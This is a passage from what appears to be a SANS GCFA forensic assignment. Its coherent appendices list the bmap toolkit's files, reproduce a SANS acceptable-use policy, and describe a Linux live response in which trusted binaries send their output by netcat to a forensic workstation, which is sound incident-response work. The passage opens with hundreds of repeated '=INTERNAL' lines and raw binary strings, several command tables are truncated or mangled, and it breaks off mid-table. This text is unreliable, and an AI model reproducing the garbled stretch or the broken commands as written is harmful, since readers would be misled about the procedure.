=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTERNAL
=INTER
search path
copy
array
ELF load command
descriptor
cannot create shared object
ELF file data encoding not
big-endian
cannot allocate memory for
program header
entry: 0x0\*1x
phdr:
0x0\*1x
phnum: %u
ELF file data encoding not
little-endian
ELF file's phentsize not the
expected size
AT_HWCAP:
search cache=%s
undefined symbol:
unprotected
binding file %s to %s: %s
symbol ' %s'
with link time reference
version
(normal)
DYNAMIC LINKER BUG!!!
<program name unknown>
error while loading shared
libraries
gconv_trans_context
gconvert_trans
LC_TELEPHONE
LC_ADDRESS
LANG
^[yY]
%a %b %e %H:%M:%S %Z %Y
December
November
September
August
June
April
February
January
Friday
Thursday
Tuesday
%p%t%g%t%m%t%f
%a%N%f%N%d%N%b%N%N%h %e
%r%N%C-%z %T%N%c%N
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
keld@dkuug.dk
Keld Simonsen
ISO/IEC 14652 i18n FDCC-set
C/o Keld Simonsen, Skt. Jorgens Alle 8, DK-1615
Kobenhavn V
[Am-

"#"%s'(*)+,-
./0123456789;<=?>@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~

uD;s
uYD?e
)r+

[!|n

I9C-

I!G.
Appendix B

Bmap-1.0.20.tar.gz file list

[root@localhost bin1.4]# ll -R bmap-1.0.20
bmap-1.0.20:
total 5052
-rwxr-xr-x 1 root wheel 611530 Jul 15 2003 a.out
-rwxr-xr-x 1 root wheel 510960 Jul 15 2003 bclump
-rw-r--r-- 1 root wheel 10364 May 29 2000 bclump.c
-rw-r--r-- 1 root wheel 506 Jul 15 2003 bclump-involve.sgml
-rw-r--r-- 1 root wheel 30824 Jul 15 2003 bclump.o
-rw-r--r-- 1 root wheel 6616 Oct 17 2003 blocks
-rw-r--r-- 1 root wheel 6616 Oct 17 2003 blocks.sorted
-rwxr-xr-x 1 root wheel 487476 Jul 16 2003 bmap
-rw-r--r-- 1 root wheel 13030 May 26 2000 bmap-involve.sgml
-rw-r--r-- 1 root wheel 36376 Jul 15 2003 bmap.o
-rw-r--r-- 1 root wheel 36464 Jul 15 2003 libbmap.o
-rw-r--r-- 1 root wheel 17159 Jul 15 2003 bmap.tex
-rw-r--r-- 1 root wheel 266 Jul 15 2003 config.h
-rwxr-xr-x 1 root wheel 12811 May 29 2000 bmap.png
-rwxr-xr-x 1 root wheel 5517 Mar 8 2000 slacker-modules.c
-drwxr-xr-x 2 root wheel 4096 Oct 17 2003 bmap-slack
-rwxr-xr-x 1 root wheel 824 May 15 2000 bmap.spec
-rwxr-xr-x 1 root wheel 55155 Jul 15 2003 bmap.strings
-rwxr-xr-x 1 root wheel 487476 Jul 15 2003 bmap-strip.0715
-rwxr-xr-x 1 root wheel 487476 Oct 18 2003 bmap-stripped
-rwxr-xr-x 1 root wheel 17159 Jul 15 2003 bmap.tex
-rw-r--r-- 1 root wheel 266 Jul 15 2003 config.h
-rwxr-xr-x 1 root wheel 18008 Mar 31 2000 COPYING
-rwxr-xr-x 1 root wheel 501043 Jul 15 2003 dev_builder
-rwxr-xr-x 1 root wheel 1728 Feb 24 2000 dev_builder.c
-rwxr-xr-x 1 root wheel 77579 Jul 15 2003 dev_entries.c
-rwxr-xr-x 1 root wheel 113856 Jul 15 2003 dev_entries.o
-rwxr-xr-x 1 root wheel 0 Jul 17 2003 file_slack2
-drwxrwxr-x 2 root wheel 4096 Oct 16 2003 include
-rwxr-xr-x 1 root wheel 913 Feb 14 2000 index.html
-rwxr-xr-x 1 root wheel 8546 Apr 11 2000 libbmap.c
-rwxr-xr-x 1 root wheel 36464 Jul 15 2003 libbmap.o
-rwxr-xr-x 1 root wheel 1322 Apr 14 2000 LICENSE
-rwxr-xr-x 1 root wheel 2049 Oct 17 2003 logfilebmap.out
-rwxr-xr-x 1 root wheel 546815 Oct 16 2003 lostfile1
-rwxr-xr-x 1 root wheel 0 Jul 17 2003 lostfile1bmap.out
-rwxr-xr-x 1 root wheel 101375 Oct 16 2003 lostfile2
-rwxr-xr-x 1 root wheel 2392 Oct 17 2003 Makefile
-drwxrwxr-x 3 root wheel 4096 Oct 16 2003 man
-drwxrwxr-x 3 root wheel 4096 Jul 15 2003 mft
-rwxr-xr-x 1 root wheel 54948 Oct 18 2003 prog.strings
-rwxr-xr-x 1 root wheel 6639 May 15 2000 README
-rwxr-xr-x 1 root wheel 621860 Jul 15 2003 slacker
-rwxr-xr-x 1 root wheel 8905 Apr 27 2000 slacker.c
-rwxr-xr-x 1 root wheel 1029 Jul 15 2003 slacker-involve.sgml
-rwxr-xr-x 1 root wheel 5517 Mar 8 2000 slacker-modules.c
Kevin Miller - Sans GCFA Assignment – v1.4

```
-­rw­r­r-- 1 root wheel  30612 Jul 15 2003 slacker-modules.o
-­rw­r­r-- 1 root wheel  33280 Jul 15 2003 slacker.o
-­rw­r­r-- 1 root wheel  362 Oct 17 2003 slackinfiles.txt
-­rw­x­r-- 1 root wheel  805 Oct 17 2003 Snd-HOWTO-html.tar.gz-slack.out-first.txt
-­rwxr­x­r 1 root wheel  26843 Oct 17 2003 Sound-HOWTO-html.tar.gz
-­rw­r­r-- 1 root wheel  1829 Oct 17 2003 Sound-slack.txt

bmap-1.0.20/bmap-slack:
total 204
-­rw­r­r-- 1 root wheel  2022 Oct 17 2003 s1.slack-out
-­rw­r­r-- 1 root wheel  5341 Feb 13 2000 Sound-HOWTO-1.html
-­rw­r­r-- 1 root wheel  3849 Feb 13 2000 Sound-HOWTO-2.html
-­rw­r­r-- 1 root wheel 12397 Feb 13 2000 Sound-HOWTO-3.html
-­rw­r­r-- 1 root wheel 18167 Feb 13 2000 Sound-HOWTO-4.html
-­rw­r­r-- 1 root wheel  1556 Feb 13 2000 Sound-HOWTO-5.html
-­rw­r­r-- 1 root wheel  30341 Feb 13 2000 Sound-HOWTO-6.html
-­rw­r­r-- 1 root wheel  5527 Feb 13 2000 Sound-HOWTO-7.html
-­rw­r­r-- 1 root wheel  6170 Feb 13 2000 Sound-HOWTO.html
-­rw­r­r-- 1 root wheel  92160 Oct 17 2003 Sound-HOWTO-html.tar
-­rw­r­r-- 1 root wheel  1829 Oct 17 2003 Sound-HOWTO-html.tar.gz-slack.out

bmap-1.0.20/include:
total 8
-­rw­r­r-- 1 root wheel  1032 Mar 24 2000 bmap.h
-­rw­r­r-- 1 root wheel  699 Mar 24 2000 slacker.h

bmap-1.0.20/man:
total 4
drwxrwxr-x 2 root wheel  4096 Oct 16 2003 man2

bmap-1.0.20/man/man2:
total 4
-­rw­r­r-- 1 root wheel  1870 Mar 24 2000 libbmap.2

bmap-1.0.20/mft:
total 236
-­rw­r­r-- 1 root wheel  17983 Apr 13 2000 COPYING
-­rw­r­r-- 1 root wheel  9672 Apr 11 2000 helper.c
-­rw­r­r-- 1 root wheel  26520 Jul 15 2003 helper.o
drwxrwxr-x 2 root wheel  4096 Oct 16 2003 include
-­rw­r­r-- 1 root wheel  78443 Jul 15 2003 libmft.a
-­rw­r­r-- 1 root wheel  8202 Apr 25 2000 log.c
-­rw­r­r-- 1 root wheel  30228 Jul 15 2003 log.o
-­rw­r­r-- 1 root wheel   810 Apr 13 2000 Makefile
-­rw­r­r-- 1 root wheel   98 Jul 15 2003 mft_config.h
-­rw­r­r-- 1 root wheel  7905 Mar 24 2000 option.c
-­rw­r­r-- 1 root wheel  23560 Jul 15 2003 option.o
-­rw­r­r-- 1 root wheel   871 Apr 25 2000 README

bmap-1.0.20/mft/include:
total 20
-­rw­r­r-- 1 root wheel   304 Apr 16 2000 helper.h
-­rw­r­r-- 1 root wheel   572 Mar 8 2000 info.h
```
<table>
<thead>
<tr>
<th>Mode</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>-r-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>2258</td>
<td>Apr 25 2000</td>
<td>log.h</td>
</tr>
<tr>
<td>-r-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>436</td>
<td>Mar  8 2000</td>
<td>mft.h</td>
</tr>
<tr>
<td>-r-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>2955</td>
<td>Mar 24 2000</td>
<td>option.h</td>
</tr>
</tbody>
</table>
Appendix C

Some Company – Acceptable Use Policy

The InfoSec Acceptable Use Policy below is from the SANS “www.sans.org/resources/policies/Acceptable_Use_Policy”.

Some Company InfoSec Acceptable Use Policy

1.0 Overview
InfoSec's intentions for publishing an Acceptable Use Policy are not to impose restrictions that are contrary to Some Company's established culture of openness, trust and integrity. InfoSec is committed to protecting Some Company's employees, partners and the company from illegal or damaging actions by individuals, either knowingly or unknowingly. Internet/Intranet/Extranet-related systems, including but not limited to computer equipment, software, operating systems, storage media, network accounts providing electronic mail, WWW browsing, and FTP, are the property of Some Company. These systems are to be used for business purposes in serving the interests of the company, and of our clients and customers in the course of normal operations. Please review Human Resources policies for further details.

Effective security is a team effort involving the participation and support of every Some Company employee and affiliate who deals with information and/or information systems. It is the responsibility of every computer user to know these guidelines, and to conduct their activities accordingly.

2.0 Purpose
The purpose of this policy is to outline the acceptable use of computer equipment at Some Company. These rules are in place to protect the employee and Some Company. Inappropriate use exposes Some Company to risks including virus attacks, compromise of network systems and services, and legal issues.

3.0 Scope
This policy applies to employees, contractors, consultants, temporaries, and other workers at Some Company, including all personnel affiliated with third parties. This policy applies to all equipment that is owned or leased by Some Company.

4.0 Policy

4.1 General Use and Ownership

1. While Some Company's network administration desires to provide a reasonable level of privacy, users should be aware that the data they create on the corporate systems remains the property of Some Company. Because of the need to protect Some Company's network, management cannot guarantee the confidentiality of information stored on any network device belonging to Some Company.

2. Employees are responsible for exercising good judgment regarding the reasonableness of personal use. Individual departments are responsible for creating guidelines concerning personal use of Internet/Intranet/Extranet systems. In the absence of such policies, employees should be guided by departmental policies on personal use, and if there is any uncertainty, employees should consult their supervisor or manager.

3. InfoSec recommends that any information that users consider sensitive or vulnerable be encrypted. For guidelines on information classification, see InfoSec's Information Sensitivity Policy. For guidelines on encrypting email and documents, go to InfoSec's Awareness Initiative.

4. For security and network maintenance purposes, authorized individuals within Some Company may monitor equipment, systems and network traffic at any time, per InfoSec's Audit Policy.

---

5. Some Company reserves the right to audit networks and systems on a periodic basis to ensure compliance with this policy.

4.2 Security and Proprietary Information
1. The user interface for information contained on Internet/Intranet/Extranet-related systems should be classified as either confidential or not confidential, as defined by corporate confidentiality guidelines, details of which can be found in Human Resources policies. Examples of confidential information include but are not limited to: company private, corporate strategies, competitor sensitive, trade secrets, specifications, customer lists, and research data. Employees should take all necessary steps to prevent unauthorized access to this information.
2. Keep passwords secure and do not share accounts. Authorized users are responsible for the security of their passwords and accounts. System level passwords should be changed quarterly, user level passwords should be changed every six months.
3. All PCs, laptops and workstations should be secured with a password-protected screensaver with the automatic activation feature set at 10 minutes or less, or by logging-off (control-alt-delete for Win2K users) when the host will be unattended.
4. Use encryption of information in compliance with InfoSec's Acceptable Encryption Use policy.
5. Because information contained on portable computers is especially vulnerable, special care should be exercised. Protect laptops in accordance with the "Laptop Security Tips".
6. Postings by employees from a Some Company email address to newsgroups should contain a disclaimer stating that the opinions expressed are strictly their own and not necessarily those of Some Company, unless posting is in the course of business duties.
7. All hosts used by the employee that are connected to the Some Company Internet/Intranet/Extranet, whether owned by the employee or Some Company, shall be continually executing approved virus-scanning software with a current virus database. Unless overridden by departmental or group policy.
8. Employees must use extreme caution when opening e-mail attachments received from unknown senders, which may contain viruses, e-mail bombs, or Trojan horse code.

4.3. Unacceptable Use
The following activities are, in general, prohibited. Employees may be exempted from these restrictions during the course of their legitimate job responsibilities (e.g., systems administration staff may have a need to disable the network access of a host if that host is disrupting production services). Under no circumstances is an employee of Some Company authorized to engage in any activity that is illegal under local, state, federal or international law while utilizing Some Company-owned resources.

The lists below are by no means exhaustive, but attempt to provide a framework for activities which fall into the category of unacceptable use.

System and Network Activities

The following activities are strictly prohibited, with no exceptions:

3. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of "pirated" or other software products that are not appropriately licensed for use by Some Company.
4. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.
5. Exporting software, technical information, encryption software or technology, in violation of international or regional export control laws, is illegal. The appropriate management should be consulted prior to export of any material that is in question.
6. Introduction of malicious programs into the network or server (e.g., viruses, worms, Trojan horses, e-mail bombs, etc.).
7. Revealing your account password to others or allowing use of your account by others. This includes family and other household members when work is being done at home.
8. Using a Some Company computing asset to actively engage in procuring or transmitting material that is in violation of sexual harassment or hostile workplace laws in the user's local jurisdiction.
9. Making fraudulent offers of products, items, or services originating from any Some Company account.
10. Making statements about warranty, expressly or implied, unless it is a part of normal job duties.
11. Effecting security breaches or disruptions of network communication. Security breaches include, but are not limited to, accessing data of which the employee is not an intended recipient or logging into a server or account that the employee is not expressly authorized to access, unless these duties are within the scope of regular duties. For purposes of this section, "disruption" includes, but is not limited to, network sniffing, pinged floods, packet spoofing, denial of service, and forged routing information for malicious purposes.
12. Port scanning or security scanning is expressly prohibited unless prior notification to InfoSec is made.
13. Executing any form of network monitoring which will intercept data not intended for the employee's host, unless this activity is a part of the employee's normal job/duty.
14. Circumventing user authentication or security of any host, network or account.
15. Interfering with or denying service to any user other than the employee's host (for example, denial of service attack).
16. Using any program/script/command, or sending messages of any kind, with the intent to interfere with, or disable, a user's terminal session, via any means, locally or via the Internet/Intranet/Extranet.
17. Providing information about, or lists of, Some Company employees to parties outside Some Company.

Email and Communications Activities

1. Sending unsolicited email messages, including the sending of "junk mail" or other advertising material to individuals who did not specifically request such material (email spam).
2. Any form of harassment via email, telephone or paging, whether through language, frequency, or size of messages.
3. Unauthorized use, or forging, of email header information.
4. Solicitation of email for any other email address, other than that of the poster's account, with the intent to harass or to collect replies.
5. Creating or forwarding "chain letters", "Ponzi" or other "pyramid" schemes of any type.
6. Use of unsolicited email originating from within Some Company's networks of other Internet/Intranet/Extranet service providers on behalf of, or to advertise, any service hosted by Some Company or connected via Some Company's network.
7. Posting the same or similar non-business-related messages to large numbers of Usenet newsgroups (newsgroup spam).

5.0 Enforcement
Any employee found to have violated this policy may be subject to disciplinary action, up to and including termination of employment.

6.0 Definitions
Term   Definition
Spam   Unauthorized and/or unsolicited electronic mass mailings.

7.0 Revision History”
Appendix D

Live Response Review

The following Unix binary files were used to perform a “live response process” on the Linux 7.3 machine before it was imaged:

```bash
nc  ls  date  w  netstat
lsopf  ps  lsmod  ifconfig  md5sum
sh
```

To determine the library files each tool required, the ldd command was used. See below for an example of using ldd to determine what library files the ‘w’ executable command required. The library files were copied to the CDROM and the LD_LIBRARY_PATH environment variable was set to the directory the library files were in.

```bash
root@localhost bin# ldd w
libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x4001a000)
libc.so.6 => /lib/i686/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

The command “ls -l” is used to identify the library files required;

```bash
-rwxr-xr-x 1 root root 48736 Apr 15 2002 /lib/libproc.so.2.0.7
lrwxrwxrwx 1 root root 13 Dec 9 2002 /lib/i686/libc.so.6 -> libc-2.2.5.so
lrwxrwxrwx 1 root root 11 Dec 9 2002 /lib/ld-linux.so.2 -> ld-2.2.5.so
```

By setting the LD_LIBRARY_PATH to use known good library files, we’ve ensured the executable will not reference library files on the victim machine. A problem was encountered with the CDROM on the victim machine. The results were the CD would not mount. The floppy disk with the live response commands on it was used. To ensure the library files on the machine were not referenced the binaries were compiled as static.

The live response steps are listed below (CTRL-C was used to end the nc session and write the file on the live response receiving workstation):

<table>
<thead>
<tr>
<th>Forensic Workstation commands</th>
<th>Victim machine commands</th>
</tr>
</thead>
<tbody>
<tr>
<td>nc</td>
<td>/mnt/floppy/sh</td>
</tr>
<tr>
<td>nc -l -v -n -p 1111 &gt; starttime.txt</td>
<td>/mnt/floppy/date</td>
</tr>
<tr>
<td>nc -l -v -n -p 1111 &gt;</td>
<td>/mnt/floppy/nc 192.168.1.120</td>
</tr>
<tr>
<td>nc -l -v -n -p 1111 &gt;</td>
<td>/mnt/floppy/w</td>
</tr>
</tbody>
</table>
Table 5 Live response command summary

<table>
<thead>
<tr>
<th>Command</th>
<th>Output/Command</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>w.txt</code></td>
<td><code>/mnt/floppy/nc 192.168.1.120 1111</code></td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; netstat-sockets.txt</code></td>
<td>`/mnt/floppy/netstat -anp</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; ps.txt</code></td>
<td>`/mnt/floppy/ps -auxw</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; lsmod.txt</code></td>
<td>`/mnt/floppy/lsmod</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; netstat-routes.txt</code></td>
<td>`/mnt/floppy/netstat -anr</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; ifconfig.txt</code></td>
<td>`/mnt/floppy/ifconfig -a</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; proc-filelist.txt</code></td>
<td>`/mnt/floppy/ls -al /proc</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; stoptime.txt</code></td>
<td>`/mnt/floppy/date</td>
</tr>
<tr>
<td><code>md5sum -b *.txt &gt; live-response-june30.md5</code></td>
<td><code>-</code></td>
</tr>
</tbody>
</table>

The live response starts with the execution of a trusted shell using ‘/mnt/floppy/sh’. The trusted shell is a shell that we know has not been compromised or trojaned.

On the forensic workstation ‘nc’ (netcat) is used to wait for the data stream from the victim and write it to the indicated output files. The netcat options are listed below:

- ‘-l’ sets up netcat to listen for an incoming connection.
- ‘-v’ is verbose mode, connection information will be displayed.
- ‘-n’ do not do host or port name lookups.
- ‘-p <port>’ identifies the port netcat will listen on.

The victim machine commands are listed below:

- ‘date’ establishes the startdate for the live response.
- ‘w’ identifies who is logged onto the victim machine.
- ‘netstat -anp’ shows the internet sockets that are open on the victim.
- ‘lsf’ command helps to identify backdoors and strange network services.
- ‘ps -auxw’ provides the current running processes.
- ‘lsmod’ shows what kernel modules are loaded.

---

Kevin Miller - Sans GCFA Assignment – v1.4

- 'netstat -anr' displays the routing table.
- 'ifconfig -a' shows the configuration of the network interface(s).
- 'ls -al /proc' was missing '-R'. Without the '-R' switch the directory listing did not traverse the sub directories. The purpose of reviewing the /proc directory was to look for deleted but still running executables (exe).
- 'date' establishes the stop date for the live response.

The last command run on the forensic host is an MD5 (Message Digest Algorithm #5) checksum on all files from the live response.

An analysis of the live response files provided IP addresses, process IDs (PIPs), programs to investigate and directories that looked suspicious. See the next section for the complete listings from the live response.

The netstat-sockets.txt file had notable suspicious events in it. The first one was the presence of nfsd running as PID 19811 on port 18. There were two established connections from the victim to IP address XXX.XXX.2.23 on port 6660 TCP running a program called services on PIDs 19941, 19936. The services PIDs were also waiting for connection on UDP ports 1031 and 1032.

The lsif.txt file showed commands, PIDs and nodes that were notable and suspicious. We see the following programs opening raw sockets and listening on http and https ports.

- minilogd
- weit
- popauth
- chmod
- nfsd

The program popauth program was setup on UDP port 3049. The programs that were opening raw sockets referenced node 550563 with chmod also referencing 552454. Each of the suspicious programs from lsif is shown below:

<table>
<thead>
<tr>
<th>Command</th>
<th>PID</th>
